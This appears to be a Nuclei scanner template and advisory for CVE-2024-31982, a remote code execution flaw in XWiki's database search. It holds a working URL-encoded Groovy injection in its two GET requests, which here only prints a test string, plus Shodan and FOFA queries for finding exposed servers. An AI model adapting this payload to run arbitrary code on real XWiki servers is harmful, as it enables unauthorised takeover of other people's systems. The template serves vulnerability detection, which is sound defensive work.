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XWiki < 4.10.20 - Remote code execution

ID: CVE-2024-31982

Severity: critical

Author: ritikchaddha

Tags: cve,cve2024,xwiki,rce

XWiki Platform is a generic wiki platform. Starting in version 2.4-milestone-1 and prior to versions 4.10.20, 15.5.4, and 15.10-rc-1, XWiki’s database search allows remote code execution through the search text. This allows remote code execution for any visitor of a public wiki or user of a closed wiki as the database search is by default accessible for all users. This impacts the confidentiality, integrity and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 14.10.20, 15.5.4 and 15.10RC1. As a workaround, one may manually apply the patch to the page Main.DatabaseSearch. Alternatively, unless database search is explicitly used by users, this page can be deleted as this is not the default search interface of XWiki.

id: CVE-2024-31982
info:
name: XWiki < 4.10.20 - Remote code execution
author: ritikchaddha
severity: critical
description: |
XWiki Platform is a generic wiki platform. Starting in version 2.4-milestone-1 and prior to versions 4.10.20, 15.5.4, and 15.10-rc-1, XWiki's database search allows remote code execution through the search text. This allows remote code execution for any visitor of a public wiki or user of a closed wiki as the database search is by default accessible for all users. This impacts the confidentiality, integrity and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 14.10.20, 15.5.4 and 15.10RC1. As a workaround, one may manually apply the patch to the page `Main.DatabaseSearch`. Alternatively, unless database search is explicitly used by users, this page can be deleted as this is not the default search interface of XWiki.
impact: |
Successful exploitation could lead to remote code execution.
remediation: |
Apply the vendor-supplied patch or upgrade to a 14.10.20 ,15.5.4, 15.10-rc-1.
reference:
- https://jira.xwiki.org/browse/XWIKI-21472
- https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-2858-8cfx-69m9
- https://jira.xwiki.org/browse/XWIKI-21110
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-31982
cwe-id: CWE-95
epss-score: 0.0015
epss-percentile: 0.50461
cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
metadata:
max-request: 2
verified: true
vendor: xwiki
product: xwiki
shodan-query: html:"data-xwiki-reference"
fofa-query: body="data-xwiki-reference"
tags: cve,cve2024,xwiki,rce
http:
- method: GET
path:
- "{{BaseURL}}/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20"
- "{{BaseURL}}/bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20"
skip-variables-check: true
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'contains_all(body, "Hello from search text:42</title>", "<title>RSS feed")'
- 'contains(header, "text/javascript")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022100a4e7b5c6c6e2bad307034fbea09da829e471d8deb0870e6f2c7865cf901572150220361e63f30f70f780ed64453cb0e4dea9a05bda64929e83f17528ae925981826e:922c64590222798bb761d5b6d8e72950

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